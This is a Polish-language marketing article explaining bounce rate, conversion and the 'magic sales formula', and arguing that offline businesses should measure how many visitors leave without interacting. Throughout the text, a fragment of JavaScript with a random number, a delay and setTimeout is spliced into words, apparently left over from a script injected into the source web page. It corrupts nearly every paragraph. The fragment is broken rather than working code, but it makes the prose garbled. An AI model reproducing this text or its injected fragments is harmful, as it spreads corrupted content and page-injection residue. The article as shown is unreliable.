Także kanały naziemne, choć te ich nie mierzą, a nawet nie nazywają.
Uwaga. „bounce rate”, inaczej współczynnik odbicia. To udział procen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy klientów, którzy tylko „zajrzeli” do firmy i nie poszli dalej, a nawet nie wykonali żadnego ruchu, aby wejść z firmą w interakcję. Pojęcie jest znane z Internetu, jednak jak najbardziej mające swój odpowiednik off-line.
W Internecie jednym ze starannie mierzonych parametrów jest bounce rate, czyli współczynnik tych, którzy wprawdzie dostrzegli firmę, weszli na jej stronę, ale zaraz wyszli, po odwiedzeniu tylko tej strony, w dodatku nie wykonawszy na niej żadnej interakcji.
Uwaga. „duża liczba wejść jest zawsze przypadkowa”. Trudno określić jaka, ale może być nawet 20% takich, którzy po prostu źle kliknęli czy zmylił ich komunikat ze strony firmy.
Klienci nie wchodzą w interakcję, gdyż najprawdopodobniej byli rozczarowani tym, co zobaczyli. Czasem też dlatego, że zauważyli, że weszli tam przez pomyłkę. Zdarza się też, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma wprowadziła w błąd mylącą informacją.
To jednak, czy przyszli przez pomyłkę, czy byli rozczarowani nie oznacza, że firma powinna przestać o nich walczyć. Trzeba za wszelką cenę próbować ich wykorzystać, gdyż dla sprzedaży ruch dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ruch i każdy jest cenny.
Ruch dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ruch
Nawet ten przypadkowy. W Internecie, tak samo jak w świecie realnym, najtrudniej przyciągnąć ruch. W Internecie też jak najbardziej działa magiczna formuła sprzedaży, gdzie sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to iloczyn odwiedzalności, konwersji i średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji. To że odwiedzający szybko wyszli, bez pogłębienia interakcji z Konceptem („odbili się”), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to źle dla firmy. Straciła szansę na sprzedaż impulsową, czasem też na up- i cross-sell. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jest przypadłość i specyfika tylko ruchu on-line. Ruch w świecie off-line też ma swój bounce rate. Tyle tylko, że mało k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to go mierzy.
Uwaga. „konwersja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to współczynnik po odliczeniu bounce”. Konwersja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to współczynnik kupujących, ale tylko wśród tych, którzy weszli w interakcję z firmą. Jak bowiem liczyć tych, którzy nie weszli, a tylko zajrzeli przez szybę? Dlatego zarządzając konwersją wpływa się wprawdzie na ten parametr, a więc i na sprzedaż, ale pomija się tych, którzy się odbili. A szkoda.
Wiele firm mierzy oczywiście różne rzeczy związane z ruchem klientów. Np. mierzy odwiedzalność w placówce, przy pomocy liczników na bramkach. Czasem mierzy czas, jaki klient spędził w placówce czy pozostając w jakimś innym kontakcie z nią. Jednak większość firm mierzy od razu liczbę i wysokość kwoty transakcji. Czasem zestawia ją z odwiedzalnością, co pozwala zmierzyć konwersję. To waży wskaźnik i war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to go mierzyć, a potem nim zarządzać, ale można pójść dalej i s próbować wykorzystać wszystkich.
Uwaga. „w zarządzaniu konwersją nie liczy się poziom wyjściowy”, tylko jego zmiana. Konwersja na poziomie 2% i ta na poziomie 22% są równie dobre. Sztuką jest zrobić z pierwszej 3%, a z drugiej 33%. W obu przypadkach wzrośnie sprzedaż i wynik firmy. Dlatego konwersję war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mierzyć tylko w długim okresie. W krótki będzie widać tylko przypadkowe fluktuacje, a w konwersji liczy się trend.
Do konwersji jest daleko
Od nawiązania kontaktu z firmą do zakupu daleka droga i wiele może się na niej zdarzyć. Przebieg tego procesu najlepiej opisuje i ilustruje magiczna formuła sprzedaży. Formuła sprzedaży dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to inaczej przedstawienie jej jako iloczynu trzech wskaźników, odwiedzalności, konwersji i budowania średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.
Is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totą magicznej formuły jest nie tylko i nie przede wszystkim ilustrowanie procesu sprzedaży. To jest oczywiście bardzo potrzebne, aby zrozumieć, jak przebiega ten proces i co na niego operacyjnie wpływać. Ale jej is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totą i prawdziwą siłą jest możliwość świadomego zarządzania tym procesem. Na każdy ze wskaźników magicznej formuły można bowiem wpływać.
Jednak typowe zarządzanie magiczną formułą sprzedaży pomija klientów, którzy się odbili. Tymczasem bounce rate jest integralną częścią procesu zakupowego i jest głęboko wpisane w magiczną formułę. Jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedna z decyzji, jakie klient podejmuje w procesie zakupu. Jednak wpisane jest na jej bardzo wczesnym etapie, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to daje szerokie spektrum możliwości działania. Tu jeszcze jest czas na reakcję, na którą w sterowaniu konwersją może być za późno. To wygodne, ale zawsze i tak trzeba odnieść dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to do zachowania klienta. I spojrzeć na bounce rate z tej perspektywy.
Ciąg decyzji klienta w magicznej formule sprzedaży i działania, ale tym razem firmy, jakie mogą wpływać na te decyzje. Jednak te decyzje zapadają już po wejściu w interakcję, a tym zarządza niewiele firm.
Bounce rate znajduje się pomiędzy „wejdę” a „zacznę proces”. Czy przynajmniej „dokładniej się zainteresuję”. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko odnoga przebiegu magicznej formuły sprzedaży, najczęściej ślepa, jeśli firma nią nie zarządzi, gdyż oznacza odejście przez niezadowolenie czy pomyłkę.
Uwaga. „is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totą wywierania wpływu jest pomiar”. Jak dowiedzieć się, czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co przedsięwzięła firma działa? I czy działa wystarczająco skutecznie? To pomiar różni sterowanie sprzedażą od zarządzania formułą. Tak samo jak różni medycynę kliniczną od ludowej.
Zarządzania bounce rate można nauczyć się on-line (np. w modelu multichannel), a zdobyte doświadczenia przenieść do off-line. On-line można mierzyć nie tylko działania, ale i zachowania klientów, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przed wejściem w interakcję. W świecie off-line można najwyżej sprawdzić, czy klienci kupują, co kupują i ile wydają. Czasem można też sprawdzać, , jak się poruszają i przy czym zatrzymują ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już dużo trudniejsze. W Internecie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie tylko łatwe, ale wręcz nie da się inaczej. Z punktu widzenia sterowania sprzedażą dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dar. Oczywiście trzeba go umieć wykorzystać, ale dane są.
Konwersja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ważny wskaźnik, ale wnioski z poziomu konwersji będą inne niż z bounce rate. I do czego innego się przydadzą. Konwersja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to końcowy efekt działań, tu już częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest za późno na zmiany (gdyż efekt może się ujawnić po miesiącach). Tymczasem bounce rate pozwala zareagować wcześniej, na etapie wydawania pieniędzy, głównie na marketing, a efekt widać od razu.
Od bounce rate do konwersji
Taka interakcja w świecie zarówno on-line, jak i of-line nie sprowadza się od razu do konwersji. Po drodze jest wiele etapów pośrednich.
Jak mierzyć bounce rate?
Jak mierzyć współczynnik bounce rate off-line, co jest podstawą do zarządzania tym wskaźnikiem? Można tylko pośrednio, najlepiej powtarzalnością odwiedzin (tu mierzy się zadowolenie), mniej precyzyjnie czasem trwania kontaktu z firmą (gdzie mierzy się zdolności Konceptu do zainteresowania klienta sobą), wreszcie liczbą kontaktów z elementami Konceptu.
Powtarzalność odwiedzin. Nie ma lepszego wskaźnika żeby ocenić bounce rate. Jeśli klient powraca, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znaczy że mu się podobało (odliczając reklamacje). Oczywiście lojalność klienta nie mierzy bezpośrednio odbicia, ale mierzy czy klient był zadowolony. Jeśli wraca, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znaczy że Koncept mu odpowiadał. I się z nim zapoznał. Odwrotność tego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie bounce rate.
Czas trwania kontaktu z firmą. To drugi sposób, żeby oszacować bounce rate. Jeśli klient jest tu krótko, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to albo firmę już zna i potrafi sobie poradzić (ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to da się wykryć w pierwszym punkcie) albo mu się w niej nie podoba. Ten czynnik ma szczególne znacznie przy pierwszych odwiedzinach. Potem już niewiele dowodzi, choć nadal może wskazywać, że firma ma problem.
Co mierzy bounce rate?
Rozczarowanie Konceptem czy tylko jego konkretnym wdrożeniem w konkretnej placówce. A także skalę pomyłki klienta, który wszedł przez pomyłkę. Sprawdza też „penetrację” Konceptu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czy zainteresował klienta i skłonił go do obejrzenia go w szczegółach. Ale też pomyłkę, źle zrozumiany czy źle zaadresowany komunikat marketingowy. Ale też może wskazywać na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że klient nie jest na razie w fazie zakupowej, tylko w fazie zbierania informacji.
Rozczarowanie Konceptem. To najgorszy scenariusz. Tu klient świadomie (niestety) podjął decyzję, że Koncept nie jest dla niego. Ale nie należy martwić się przesadnie. Każdy biznes ma swoją konwersję. Tak już jest, że nie każdemu odpowiada. Problemem więc nie jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że nie wszyscy byli zadowoleni, tylko dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że niepotrzebnie firma ich zaprosiła (i poniosła zbędny koszt tego zaproszenia).
Pomyłka. Czyli mylny komunikat albo mylnie zrozumiany. To paradoksalnie najlepszy scenariusz wysokiego bounce rate. Gdyż w sprzedaży najtrudniej o odwiedziny. A jeśli te już miały miejsce, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to spróbować je wykorzystać. Nawet jeśli są tylko przez pomyłkę.
Mylący komunikat. To pierwszy krok do rozczarowania Konceptem. Tyle że firma sama się o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to prosi. I próbuje udawać taką, jaką tak naprawdę nie jest. Próbuje swoim komunikatem zmylić klienta i przyciągnąć go taką cechą Konceptu, jakiej tak naprawdę nie ma. I klient się o tym przekonuje, zaraz po odwiedzinach. A swoje niezadowolenie wyraża w postaci bounce rate.
Uwaga. „każdy się w końcu zorientuje”. Nie da się długo oszukiwać, udawać, że nie jest się tym, kim się jest. To zawsze w końcu wyjdzie, a ceną tego będzie wysokie bounce rate. I równie wysoki koszt.
Faza zakupowa. Czyli wizyta zapoznawcza. Tu bounce rate jest czymś naturalnym, oczekiwanym i niegroźnym. O efekt podziału procesu zakupowego na fazy. Te występują zawsze, ale częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są tak blisko siebie, że nie da się ich wyraźnie wyodrębnić. Np. jest tak w zakupach impulsowych.
W Internecie proces zakupowy rozpada się na wyraźne i rozdzielone fazy. To zaś dla bounce rate ma is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totne znacznie. W świecie off-line te fazy są bardzo zintegrowane, czasem wręcz trudno je rozdzielić (z perspektywy firmy). Taka już jest specyfika środowiska sprzedażowego czy bardziej trudności logistycznych, tak przemieszczania samego klienta, jak i produktu po zakupie.
Jednak z punktu widzenia klienta te fazy wciąż tam są i nadal klient może na razie nie zdecydować się na zakup z tego właśnie powodu. Niezrozumiale dla firmy, ale bardzo zrozumiale dla niego samego.
Uwaga. „najlepiej rozpoznać fazę i się do niej dos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować”. Lub świadomie zrezygnować z dos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowania i postawić na tę ostatnią. Tyle, że wtedy trzeba umieć zidentyfikować klientów w tej fazie i trzeba też umieć do nich dotrzeć, zanim w nią wejdą.
Jeśli klient jest w fazie wstępnej zbierania informacji, a próbuje się go od razu namówić do zakupu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zniecierpliwiony szybko wyjdzie. W efekcie bounce rate będzie wysoki. Ale też jeśli firma nie posiada tych informacji, których szuka, też ją opuści. Oczywiście nie świadczy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wcale o tym, że kiedy wejdzie w fazę zakupu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tu nie powróci, gdyż akurat ta faza dobrze pasuje do sprzedawcy.
Ten efekt war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wykorzystać i zamiast starać się za wszelką cenę zatrzymać klienta w fazie poszukiwawczej, lepiej zachęcić go do przyjścia, gdy już będzie chciał coś kupić. Z tego punktu widzenia war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dostrzec wysoki bounce rate w tej fazie i postawić w komunikacji na inną.
Uwaga. „nie tylko Internet stawia wyzwania logistyczne”. Sprzedaż on-line stawia je produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom i ostatniej mili. Podczas gdy środowisko off-line stawia je komunikacji z klientem, jak i jego przemieszczeniu między placówkami sprzedażowymi.
Częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to więc bounce rate wynika z tego, że klient zainteresowany informacją w jednej fazie jest zaatakowany tak, jakby był w innej. Albo że firma nie posiada wiadomości, których szuka. A wtedy się szybko wycofa.
Bounce rate dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cecha zarówno kanału dotarcia, jak i Konceptu
Ale bardziej kanału dotarcia. Za bounce rate odpowiada złe targe dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie marketingu. Ale też mylący (celowo) czy tylko błędny (źle sformułowany) komunikat.
Częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przyczyny tkwią po stronie klienta. Nie zrozumiał, przypadkowo klikną, przypadkowo wszedł. Tego trudno uniknąć, ale i tak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze jakaś szansa.
Uwaga. „w handlu najtrudniej o ruch”. I dlatego nawet ten błędny i przypadkowy się przyda. Zawsze można próbować go wykorzystać do sprzedaży impulsowej, choć akurat o tą w Internecie bardzo trudno. Dlatego nie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to walczyć o wyeliminowanie błędów klientów, a raczej o ich wykorzystanie.
Jak można przyczynić się do bounce rate? Jeśli chodzi o przyczyny po stronie firmy?
Targe dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie komunikatu odnosi się do trafności dopasowania adresowanej grupy docelowej do cech konceptu.
Mylący komunikat. Dla marketingu określone (zawsze) cechy Konceptu Sprzedażowego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to problem, który krępuje ich działanie. Ich zadaniem (i z tego są rozliczani), jest przyciągnięcie ruchu do firmy. Jakiegokolwiek ruchu. A co się z tym ruchem dalej dzieje, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już nie ich problem. W efekcie starają się adresować nawet takie grupy docelowe, które nie są nawet potencjalnie nie mogą być zainteresowane tym, co (i jak) oferuje Koncept. Dla nich ruch dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ruch.
W efekcie ruch będzie, ale korzyści dla firmy już nie. Pozostają za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to koszty, wysiłek i stracone możliwości. Choćby tylko dlatego war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mierzyć bounce rate także off-line. I odpowiednio skorygować komunikat albo grupę docelową.
Błędny komunikat. Czasem zmylenie klienta co do cech Konceptu jest nieświadome, następuje przez pomyłkę, nieświadomość tych cech czy złe sformułowanie komunikatu. To dobra wiadomość, oczywiście, jeśli się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zauważy. Wtedy wystarczy tylko ten błąd zauważyć i poprawić.
Bounce rate koncep dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe. Czyli klient zobaczył, ale mu nie odpowiadało. Z czasem „wygrzewanie” Konceptu samo wyeliminuje tych, którym dany Koncept nie odpowiada, przez co spadnie współczynnik odbicia. To mechanizm dla firmy bardzo niemiły, gdyż widzi jak część odwiedzających przestają ją z czasem odwiedzać, ale w większości dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mechanizm który sam się reguluje. Znacznie powszechniejsze, ale też łatwiejsze do wyeliminowania są błędy marketingowe. Czyli użycie kanału dotarcia z wysokim bounce rate. Lepiej takie kanały zidentyfikować i przestać używać albo zmienić komunikat, jak się takim kanałem wysyła.
Każdy kanał dotarcia ma bounce rate
Gdyż każde medium marketingowe też je ma jakieś. Ale nie w każdym się je mierzy. Jeśli klient przy oglądaniu programu telewizyjnego widząc reklamę przełącza się na inny kanał i już później nie wraca, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie odpowiednik bounce rate w Internecie.
Jeśli z kolei ulotka ma skuteczność 2% (tylu klientów z ulotkami wróciło do firmy), a zwykła konwersja w firmie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to 20%, wtedy bounce rate ulotki musi wynosić 90% (żeby zachować tę samą konwersję)!
Uwaga. „bounce rate mierzy się na poziomie procesu zakupu”, a nie działania marketingu. Ale związek jest ścisły, gdyż określony kanał i komunikat przyciąga określonego klienta. A ten z kolei zachowuje się w określony sposób, który dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sposób wyraża się liczbowo w bounce rate.
To oczywiście nie jest sama cecha kanału, ale klienta, który został przez ten kanał zaadresowany. Taki klient ma swoją specyfikę, która wyraża się właśnie w bounce rate.
Konsekwencją braku pomiaru bounce rate na poziomie skuteczności kanału marketingowego są źle (czy nieefektywnie wydane pieniądze na marketing).
Źle wydane pieniądze na marketing
Praktyczna strona bounce rate jest taka, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stracone pieniądze na reklamę. Planując ją, war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zdawać sobie sprawę
Konsekwencje bounce rate są na poziomie magicznej formuły sprzedaży i zakupu, ale pierwotne przyczyny tkwią w kanale marketingowym i komunikacie.
Uwaga. „komunikat jest równie ważny jak kanał dotarcia”. Komunikat jest dla bounce rate równie ważny jak kanał dotarcia. Gdyż może być równie mylący, jak dotarcie do niewłaściwej grupy klientów.
Jak wykorzystać bounce rate?
Najlepiej użyć wyniku do dobrania kanału dotarcia oraz wyliczenie faktycznej efektywności kanału dotarcia i ewentualnie wzmocnienia jakiegoś czy rezygnacji z innego.
Jak może wyglądać bounce rate z podziałem na kanały?
Komunikat. Jak komunikat może wprowadzić w błąd? Co może z łatwością wykryć bounce rate?
Bounce i szerokie dotarcie zwykle działają przeciwnie
Zarówno kanał, jak i komunikat mają swoją specyfikę. Lepiej je harmonijnie połączyć, wtedy efekt będzie lepszy. Trzeba jednak pamiętać o jeszcze jednym wymiarze – o szerokości dotarcia. Kanały i komunikaty z niskim bounce rate dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwykle także kanały i komunikaty o bardzo selektywnym dotarciu.
Skuteczność wydatków marketingowych jest wypadkową skuteczności dotarcia, a z drugiej strony niskiego bounce rate. To trzeba więc wyważyć, gdyż oba zjawiska działają w przeciwne strony.
Podsumowanie
Bounce rate dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to współczynnik odbicia. Polega na tym, że k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś wchodzi w interakcję z firmą i wychodzi, bez zapoznania się ze szczegółami. Przyczyny mogą być różne, czasem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko przypadek. Ale czasem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to efekt rozczarowania czy pomyłki. Część osób skuszona reklamą lub przez pomyłkę odwiedza Koncept Sprzedażowy, czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to naziemny, czy wirtualny, w Internecie. Ale nie są zadowoleni z tego, co zobaczyli. I szybko odchodzą.
Bounce rate jest znane i opisane w świecie on-line. Ale w świecie naziemnym też ma miejsce, tyle że tam rzadko jest mierzone. Ale skala tego zjawiska off-line może być (i częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest) znacznie większa niż w Internecie, tyle że rzadko uświadomiona. Planując jakąkolwiek reklamę war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to o tym pamiętać. I odliczyć ten współczynnik od efektu. Gdyż pieniądze będą wydane, ale nie przyniosą długoterminowego efektu.